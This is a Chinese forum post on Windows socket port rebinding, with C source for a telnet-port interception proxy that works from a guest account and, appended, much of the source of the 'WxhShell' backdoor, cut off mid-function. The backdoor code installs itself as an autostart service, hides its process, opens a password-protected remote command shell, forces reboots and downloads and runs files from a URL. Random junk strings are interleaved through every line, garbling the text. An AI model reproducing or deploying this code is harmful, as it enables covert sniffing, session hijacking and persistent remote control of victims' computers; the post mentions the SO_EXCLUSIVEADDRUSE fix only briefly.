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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _FxeZ4\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *yv@B!r  
Eh*(N(`  
  saddr.sin_family = AF_INET; jG{OLF6 !  
> f'aW  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  ejc>  
zGNmc7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K /$-H#;N  
<$u\PJF7_^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !/e*v>3u&  
NFyKTA6  
  这意味着什么?意味着可以进行如下的攻击: /gn!="J  
.C` YO2,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zpjE_|  
(K_{a+$[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5z&>NI  
6AdC  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1 obajN  
 C TKeY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^YJ%^P  
Z~].v._YV)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Zo,066'+[.  
YmCu\+u  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 GT<!e ]=6  
GVhy }0|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 k{H7+;_  
{ [3xi`0-  
  #include e/&^~ $h  
  #include O7p=N8V  
  #include L5'?.9]  
  #include    [{`2FR:Cd  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q' Tg0,,S  
  int main() '50}QY_R.  
  { ^HxIy;EQ<z  
  WORD wVersionRequested; I1 Otu~%d  
  DWORD ret; %/ctt_p0x  
  WSADATA wsaData; B77`azwF  
  BOOL val; SsPZva  
  SOCKADDR_IN saddr; D^gS.X^  
  SOCKADDR_IN scaddr; [X91nUz#  
  int err; _N=f&~T  
  SOCKET s; <PiO %w{  
  SOCKET sc; ^qzH(~g{M  
  int caddsize; AvPPsN0  
  HANDLE mt; rzs-c ?  
  DWORD tid;   zez|l  
  wVersionRequested = MAKEWORD( 2, 2 ); |s;']  
  err = WSAStartup( wVersionRequested, &wsaData ); l))Q/8H  
  if ( err != 0 ) { Ch\__t*v!  
  printf("error!WSAStartup failed!\n"); " :f]egq -  
  return -1; uXk]  
  } fY6~Z BvK  
  saddr.sin_family = AF_INET; 0?}n(f!S  
   I _gE`N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R1*4  
Z/dhp0k  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4Us_Z{.  
  saddr.sin_port = htons(23); ]x{.qTtw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qXhdU/ =  
  { tt#dO@G#Fe  
  printf("error!socket failed!\n"); 6oKdw|(Q#  
  return -1; XT4Gz|k  
  } !JyY&D~`  
  val = TRUE; Svb>s|D  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tJ 2GSZ`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \h_q]  
  { [h8s0  
  printf("error!setsockopt failed!\n"); 6]4#8tR1_  
  return -1; /M+Du,  
  } 4"_`Mu_%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {0 j_.XZ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 AL.psw-Il  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !=A;?Kdq  
J/O{x  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) bK.*v4RG  
  { X^Z!!KTH  
  ret=GetLastError(); z DU=2c4W9  
  printf("error!bind failed!\n"); |Fi5/$S.  
  return -1; 1`YU9?  
  } (0B?OkQ  
  listen(s,2); g `%in  
  while(1) cPD_=.&  
  { &w#!   
  caddsize = sizeof(scaddr); c!_c, vwrn  
  //接受连接请求  ?C#E_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); GB35ouE  
  if(sc!=INVALID_SOCKET) #c5jCy}n  
  { fx(h fz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Pc_aEBq  
  if(mt==NULL) 76wNZv) 9  
  { }f]Y^>-Ux  
  printf("Thread Creat Failed!\n"); OQ7 `n<I<)  
  break; m3TR}=n  
  } z9*e%$+S  
  } :n QlS  
  CloseHandle(mt); 0/b  _T  
  } h%krA<G9  
  closesocket(s); #{vC =m73  
  WSACleanup(); t* =[RS*  
  return 0; jx]P:]  
  }   T*f/M  
  DWORD WINAPI ClientThread(LPVOID lpParam) >WIc"y.  
  { xbm%+  
  SOCKET ss = (SOCKET)lpParam; G[A3H> >  
  SOCKET sc; o87kF!x  
  unsigned char buf[4096]; G$>QH-p  
  SOCKADDR_IN saddr; XTo7fbW*  
  long num;  }:Gs ,  
  DWORD val; -cM1]soT  
  DWORD ret; ^J5{quV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8.[F3Tk=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Fq@o_bI  
  saddr.sin_family = AF_INET; &CQO+Yr$l  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y.\x.Hg  
  saddr.sin_port = htons(23); $[A\i<#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pYx,*kG:HW  
  { D]]wJQU2  
  printf("error!socket failed!\n"); & cSVOsi  
  return -1; )63 $,y-;$  
  } =c'4rJ$+  
  val = 100; L%T(H<G  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {d'-1z"q  
  { pA ~} _  
  ret = GetLastError(); EUi 70h +  
  return -1; yQE'!m  
  } E4L?4>V@\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]7O<|8n!d  
  { W&IG,7tr  
  ret = GetLastError(); ?: yz/9(  
  return -1; {aUnOyX_  
  } [mA-sl]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) A^>@6d $2  
  { qcS.=Cj?)  
  printf("error!socket connect failed!\n"); N)H "'#-  
  closesocket(sc); XP:A"WK"  
  closesocket(ss); Q$c6l[(g  
  return -1; FfdB%  
  } z#^fS |  
  while(1) Do/R.Mgy*  
  { YV<y-,Io  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |oi+|r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }IyF |[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j#1G?MF  
  num = recv(ss,buf,4096,0); }OpUG  
  if(num>0) P.'.KZJ:WD  
  send(sc,buf,num,0); u^~7[OkE  
  else if(num==0) 3m1(l?fp  
  break; rm8Ys61\=  
  num = recv(sc,buf,4096,0); +;?mg(:  
  if(num>0) @-'a{hBR  
  send(ss,buf,num,0); q 84*5-  
  else if(num==0) FH+X<  
  break; h Ma;\k  
  }  Y~WdN<g  
  closesocket(ss); %_ibe  
  closesocket(sc); jYHnJ}<  
  return 0 ; Dfs*~H 63  
  } s-$ Wc) l  
s;BMj^x  
>R+-mP!nj  
========================================================== X zJ#)}f  
{^WK#$]  
下边附上一个代码,,WXhSHELL @>)VQf8s1  
-&Z!b!jN  
========================================================== w+g29  
Xp:A;i9  
#include "stdafx.h" {]k#=a4  
}a7d(7  
#include <stdio.h> (/e&m=~  
#include <string.h> R2,9%!iiX  
#include <windows.h> m+<&NDj.  
#include <winsock2.h> b/M/)o!C  
#include <winsvc.h> /4G1,T_,  
#include <urlmon.h> um.ZAS_kmc  
^M'(/O1  
#pragma comment (lib, "Ws2_32.lib") ^dI;B27E*  
#pragma comment (lib, "urlmon.lib") CS7b3p!I  
CO wcus  
#define MAX_USER   100 // 最大客户端连接数 'J,UKK\5  
#define BUF_SOCK   200 // sock buffer 5/=$p:E>  
#define KEY_BUFF   255 // 输入 buffer r#sg5aS7O|  
~#r>@C  
#define REBOOT     0   // 重启 q Gk.7wf%  
#define SHUTDOWN   1   // 关机 k=]e7~!  
WH:dcU   
#define DEF_PORT   5000 // 监听端口 * Gg7(cnpw  
Ew/MSl6}  
#define REG_LEN     16   // 注册表键长度 \'m7un  
#define SVC_LEN     80   // NT服务名长度 iWs6 !s!  
j&8YE7  
// 从dll定义API 6}^x#9\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y2A\7&7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @t%da^-HS"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .U!EA0B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p<mL%3s0  
7=P)`@  
// wxhshell配置信息 M|(VM=~  
struct WSCFG { X+4Uh I  
  int ws_port;         // 监听端口 >w3C Ku<  
  char ws_passstr[REG_LEN]; // 口令 %xkuW]xk  
  int ws_autoins;       // 安装标记, 1=yes 0=no C-YYG   
  char ws_regname[REG_LEN]; // 注册表键名 Bhv;l/K])  
  char ws_svcname[REG_LEN]; // 服务名 ^E70$yB ^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <Wn~s=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9q`Ewj R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QVT0.GzR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e>MtDJ5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w <r*&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uw+nll*W%  
>z<L60S  
}; Xf4QLw/r  
/!]K+6>u  
// default Wxhshell configuration 7X$CJ%6b  
struct WSCFG wscfg={DEF_PORT, Et0gPX-  
    "xuhuanlingzhe", '.v;/[0  
    1, 3f`Uoh+  
    "Wxhshell", 56pj(}eq  
    "Wxhshell", G4|C227EO  
            "WxhShell Service", +~V%R{h  
    "Wrsky Windows CmdShell Service", T<uX[BO-a  
    "Please Input Your Password: ", ([8*Py|  
  1, `oxBIn*BD  
  "http://www.wrsky.com/wxhshell.exe", mI&3y9; (  
  "Wxhshell.exe" rEa(1(I  
    }; `wi+/^);  
1uo- ?k  
// 消息定义模块 -M{s zH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XRPJPwes]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; < se~wR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mS%4  
char *msg_ws_ext="\n\rExit."; #un'?]tZF  
char *msg_ws_end="\n\rQuit."; &* VhtT?=5  
char *msg_ws_boot="\n\rReboot..."; >!fTWdD^  
char *msg_ws_poff="\n\rShutdown..."; B&MDn']fV/  
char *msg_ws_down="\n\rSave to "; W? G4>zA  
CEj_{uf|  
char *msg_ws_err="\n\rErr!"; Te+#  
char *msg_ws_ok="\n\rOK!"; =c6d $  
^tTM 7  
char ExeFile[MAX_PATH]; a!o%x  
int nUser = 0; rCo}^M4Pb  
HANDLE handles[MAX_USER]; b'O/u."O  
int OsIsNt; 0*MUe1{  
[vr"FLM|9  
SERVICE_STATUS       serviceStatus;  ]! ZZRe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ! Vl)aL  
27Gff(  
// 函数声明 |;J`~H"K  
int Install(void); JrBPx/?(,;  
int Uninstall(void); Yup#aeXY/  
int DownloadFile(char *sURL, SOCKET wsh); tar/no  
int Boot(int flag); Ox)<"8M  
void HideProc(void); %s}{5Qcl/  
int GetOsVer(void); :a8Sy("  
int Wxhshell(SOCKET wsl); X!hzpg(`hR  
void TalkWithClient(void *cs); =sW K;`  
int CmdShell(SOCKET sock); IR"C?  
int StartFromService(void); 7^>~k}H  
int StartWxhshell(LPSTR lpCmdLine); Ktk?(49  
gPn0-)<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +=W(c8~P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }X9 &!A8z  
P*k n}:  
// 数据结构和表定义 W(62.3d~}?  
SERVICE_TABLE_ENTRY DispatchTable[] = -']Idn6  
{ !~zn*Hm  
{wscfg.ws_svcname, NTServiceMain}, O C;~ H{  
{NULL, NULL} 92j[b_P  
}; 2H;#L`Z*  
Lq3<&$  
// 自我安装 U>n[R/~]  
int Install(void) V'b4wO1RV  
{ M[985bl  
  char svExeFile[MAX_PATH]; ~JRq :  
  HKEY key; `"~GqFwy~  
  strcpy(svExeFile,ExeFile); |ghyH  
+_X*one  
// 如果是win9x系统,修改注册表设为自启动 ?jmL4V2-f  
if(!OsIsNt) { uBG!R#T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mBL?2~M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *lDVV,T'}w  
  RegCloseKey(key); eJf]"-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1TEKq#t;y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |7 K>`  
  RegCloseKey(key); wKJ|;o4;L  
  return 0; ?0 cv  
    } ByE@4+9  
  } xsU%?"r  
} (e;/Smol  
else { _k}Qe ;  
#bcZ:D@FC  
// 如果是NT以上系统,安装为系统服务 J<0sT=/2$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QUkP&sz  
if (schSCManager!=0) r7R39#  
{ 3Z~_6P^ +N  
  SC_HANDLE schService = CreateService }S*]#jr&  
  ( iYiTkq  
  schSCManager, 0OlT^  
  wscfg.ws_svcname, ]fDb|s48  
  wscfg.ws_svcdisp, jjrE8[  
  SERVICE_ALL_ACCESS, ;P' 5RCqj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {.U:Ce  
  SERVICE_AUTO_START, <0Y<9+g!  
  SERVICE_ERROR_NORMAL, K:13t|  
  svExeFile, `s69p'<;p  
  NULL, k v_t6(qd  
  NULL, {^Q,G x(  
  NULL, M:.+^.h  
  NULL, ]*MVC/R,  
  NULL %O!x rA{  
  ); ~p'|A}9[/  
  if (schService!=0) #t2N=3dOj  
  { 4YY!oDN:  
  CloseServiceHandle(schService); CY':'aWfa<  
  CloseServiceHandle(schSCManager); 2WLLI8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nWc@ufY  
  strcat(svExeFile,wscfg.ws_svcname); e KuF7Oo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Sz|kXk6&9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $[Ut])4 ~  
  RegCloseKey(key); .p Mwa  
  return 0; :W>PKW`^  
    } J(8?6&=ck  
  } 2xUgM}e  
  CloseServiceHandle(schSCManager); "3++S  
} KL!cPnAUu  
} \HrtPm`e  
n5oX51J  
return 1; -cJ,rrN_9  
} \ C$t  
Ttl m&d+C  
// 自我卸载 ePq(.o  
int Uninstall(void) t>a D;|Y  
{ }l}_'FmQ  
  HKEY key; TC2%n\GH*  
b+gu<##  
if(!OsIsNt) { LRaO}-<b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { { 2Ew^Li  
  RegDeleteValue(key,wscfg.ws_regname); : Wtpg   
  RegCloseKey(key); s1sn,?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7}Mnv WP  
  RegDeleteValue(key,wscfg.ws_regname); `t9k!y!GV  
  RegCloseKey(key); g[O  
  return 0; a* }>yad  
  } 4o ";p}[b  
} y8C8~-&OK  
} 'C`Ykjf  
else { *:+ZEFMq  
_u;pD-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R'vNJDFY  
if (schSCManager!=0) !?).4yr  
{ J"S(GL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wKpb%3  
  if (schService!=0) "1XTgCu\  
  { )/[L)-~y~  
  if(DeleteService(schService)!=0) { XM"Qs.E  
  CloseServiceHandle(schService); j[mII5e7g  
  CloseServiceHandle(schSCManager); |c2sJyj*  
  return 0; l1`r%9gr  
  } @(*A<2;N  
  CloseServiceHandle(schService); 3P>1-=  
  } Dk$<fMS,7c  
  CloseServiceHandle(schSCManager); @vib54G  
} ?7lW@U0  
} oa=TlBk<  
av5a2r0W1  
return 1; >z/.8!#Q  
} !%t2Z QJq  
IG\Cj7{K^  
// 从指定url下载文件 aO(iKlZ$  
int DownloadFile(char *sURL, SOCKET wsh) t,r:= '  
{ Q}l~n)=  
  HRESULT hr; bYpeI(zK  
char seps[]= "/"; IsJx5GO  
char *token; PJ?C[+&  
char *file; (C uM*-  
char myURL[MAX_PATH]; XHdhSFpm  
char myFILE[MAX_PATH]; f[R~oc5P0  
bWlY Q  
strcpy(myURL,sURL); _!vy|,w@e  
  token=strtok(myURL,seps); 4{vEW(  
  while(token!=NULL) |N)),/R_  
  { |*b-m k  
    file=token; Q@PDhISa  
  token=strtok(NULL,seps); ]xoG{%vgb  
  } |'P$zMAF  
1tI=Dw x  
GetCurrentDirectory(MAX_PATH,myFILE);  .9r85  
strcat(myFILE, "\\"); %{3q=9ii  
strcat(myFILE, file); qP&:9eL  
  send(wsh,myFILE,strlen(myFILE),0); B/;'D7i|S  
send(wsh,"...",3,0); %I!2dXNFRF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [dz3k@ >0  
  if(hr==S_OK) #639N9a~  
return 0; dS <*DP  
else d+5~^\lV  
return 1; 8HZ+r/j  
x H=15JY1W  
} d:^B2~j  
H[OgnnM  
// 系统电源模块 _/%,cYVc8!  
int Boot(int flag) }a9G,@:k  
{ "lt5gu!`u  
  HANDLE hToken; :/Es%z D  
  TOKEN_PRIVILEGES tkp; %yjD<2J;  
v[8+fd)}S  
  if(OsIsNt) { T2.[iD!A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ITn PF{N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3Z me?o*bY  
    tkp.PrivilegeCount = 1; ~LOE^6C+~o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IFS_DW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R?9x!@BV  
if(flag==REBOOT) { hOj+z?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f^"pZS  
  return 0; f.66N9BHL,  
} :-Py0{s  
else { dVHbIx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cL03V?} ~  
  return 0; rMZuiRz*  
} B@6L<oZ  
  } g*LD}`X/-  
  else { 8 Zp^/43  
if(flag==REBOOT) { b8YdONdy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Kdp($L9r  
  return 0; G-RDQ  
} :lvBcFw  
else { Qr7v^H~E4.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0x]?rd+q8Q  
  return 0; hh%?E\qM  
} f^u-Myk  
} kmt1vV.9  
bJD$!*r\%!  
return 1; ysp`(n=  
} ey4.Hj#T  
b l+g7g;  
// win9x进程隐藏模块 +`{OOp=  
void HideProc(void) q}VdPt>X/  
{ Ov?J"B'F  
IOuqC.RJ}o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +Y~5197V  
  if ( hKernel != NULL ) kL0K[O  
  { -]D/8,|s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VHl1f7%@H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A%$~  
    FreeLibrary(hKernel); 7C3YVm6g  
  } blIMrP%  
Dat',5  
return; +0UBP7kn  
} 9:VUtx#}2  
Bi :!"Nw[X  
// 获取操作系统版本 |}UkVLc_^  
int GetOsVer(void) \( #"g  
{ >-<iY4|[d  
  OSVERSIONINFO winfo; ^V96l Kt/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j4!O,.!T  
  GetVersionEx(&winfo); {)!>e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +FqE fY4j  
  return 1; ,#&7+e!]>P  
  else 5Lej_uqF   
  return 0; T>L?\-  
} lG94^|U  
y;8&J{dd  
// 客户端句柄模块 Pn[oo_)s  
int Wxhshell(SOCKET wsl) ]SRpMZ  
{ A0k?$ko  
  SOCKET wsh; <EN9s  
  struct sockaddr_in client; urjf3h[%  
  DWORD myID; 3)\fZYu)  
X|eZpIA45  
  while(nUser<MAX_USER) )S2yU<6oOt  
{ s:"Sbml  
  int nSize=sizeof(client); xSK#ovH2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W [K.|8ho  
  if(wsh==INVALID_SOCKET) return 1; Xw!\,"{s  
@&WHX#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Jut&J]{h  
if(handles[nUser]==0) u YT$$'S  
  closesocket(wsh);  G7a l@  
else ';/J-l/SE  
  nUser++; 0Q_*Z (  
  } LjG^c>[:m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eJHh}  
oR=i5lAU  
  return 0; |.UY' B  
} Q^rR}Ws  
Hy[: _E  
// 关闭 socket M %!;5  
void CloseIt(SOCKET wsh) D5?8`U m=  
{ n%J=!z3  
closesocket(wsh); 0x!&>  
nUser--; @&O4a2+  
ExitThread(0); HRDpFMA/~  
} ty0P9.Q  
;t\h"K<,|  
// 客户端请求句柄 }A24;'}  
void TalkWithClient(void *cs) &gY) x{  
{ #Q^" .#  
}a6t<m`V  
  SOCKET wsh=(SOCKET)cs; VoZ{I{>|  
  char pwd[SVC_LEN]; cpltTJFg  
  char cmd[KEY_BUFF]; @q/g%-WNz  
char chr[1]; 6,3o_"J!  
int i,j; crP2jF!  
d"#Zp&#  
  while (nUser < MAX_USER) { j"69uj` R  
~,HFd`  
if(wscfg.ws_passstr) { qEST[S V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J}X{8Ds9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FHSoj=  
  //ZeroMemory(pwd,KEY_BUFF); :Tg+)cZ  
      i=0; CPP~,E_  
  while(i<SVC_LEN) { ?";SUku  
,=m.WmXE  
  // 设置超时 Jd>~gA}l  
  fd_set FdRead; Kg$RT?q-C6  
  struct timeval TimeOut; $El-pMq  
  FD_ZERO(&FdRead); 5h#h>0F  
  FD_SET(wsh,&FdRead); <GNLDpj  
  TimeOut.tv_sec=8; S v>6:y9?G  
  TimeOut.tv_usec=0; k5.5$<< T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "lL+Heq>V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -y+>^45  
x 6`!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "+"=iwEAz  
  pwd=chr[0]; +&`W\?.~  
  if(chr[0]==0xd || chr[0]==0xa) { != ,4tg`  
  pwd=0; "S%t\  
  break; `NsjtT'_  
  } sV  
  i++; .9qK88fUR  
    } tUJRNEg  
uPA ( 1  
  // 如果是非法用户,关闭 socket 7mi!yTr}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'kZ,:.v  
} xLz=)k[''  
eyJ07  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GlAI~\A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p?:5 U[KM  
1q;v|F  
while(1) { Nujnm$!,Q  
=#b@7Yw:  
  ZeroMemory(cmd,KEY_BUFF); WKEb '^  
dq[h:kYm  
      // 自动支持客户端 telnet标准   FLqN3D=yQ  
  j=0; f V. c6  
  while(j<KEY_BUFF) { }9'`3vsJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :jLL IqhB  
  cmd[j]=chr[0]; q!5:M\  
  if(chr[0]==0xa || chr[0]==0xd) { %SM;B-/zHt  
  cmd[j]=0; _8VP'S=  
  break; senK (kbc  
  } @LKQ-<dZG  
  j++; (CmK> "C+  
    } >M,oyM" s  
do}LaUz  
  // 下载文件 jmM|on!  
  if(strstr(cmd,"http://")) { 6Dq4Q|C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #.bW9j/  
  if(DownloadFile(cmd,wsh)) T pkSY`T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qos7u91z  
  else u*l|MIi6J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L_8zZ8 o  
  } $7S"4rou  
  else { k"(]V  
S\e&xUA;|  
    switch(cmd[0]) { xAQtX=FoX+  
  C9 n%!()>  
  // 帮助 .V?:&_}_I6  
  case '?': { W(s4R,j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QU|_ r2LM  
    break; 9E!le=>  
  } |"3<\$[  
  // 安装 7;"0:eX  
  case 'i': { 11[lc2  
    if(Install()) :gh[BeqQ)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?{{w[U6NE  
    else |cPHl+$nh.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o\IMYT  
    break; u epyH  
    } 0s#72}n  
  // 卸载 ,5}U H  
  case 'r': { B`5<sW  
    if(Uninstall()) g`7XE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "F<CGSo  
    else BX,)G HE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !'7fOP-J]  
    break; #%0V`BS7n  
    } ~C.*Vc?|  
  // 显示 wxhshell 所在路径 l4Xz r:]  
  case 'p': { rl*O-S/  
    char svExeFile[MAX_PATH]; Ifj&S'():  
    strcpy(svExeFile,"\n\r"); CLb6XnkcA\  
      strcat(svExeFile,ExeFile); VM"cpC_8  
        send(wsh,svExeFile,strlen(svExeFile),0); *Z5^WHwg  
    break; [VCC+_  
    } yPm2??5MW>  
  // 重启 /Rp]"S vt  
  case 'b': { [I $+wWW_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _FLEz|%~  
    if(Boot(REBOOT)) ^.SYAwL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C_.9qo]DT7  
    else { ]b/]^1-(b  
    closesocket(wsh); )*,/L <  
    ExitThread(0); @ D+ftb/  
    } 'Wonz<{'  
    break; UkV?,P@l  
    } a^|DD#5  
  // 关机 dhl[=Y ` Q  
  case 'd': { BT$p~XB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %\As  
    if(Boot(SHUTDOWN)) \{,TpK.  
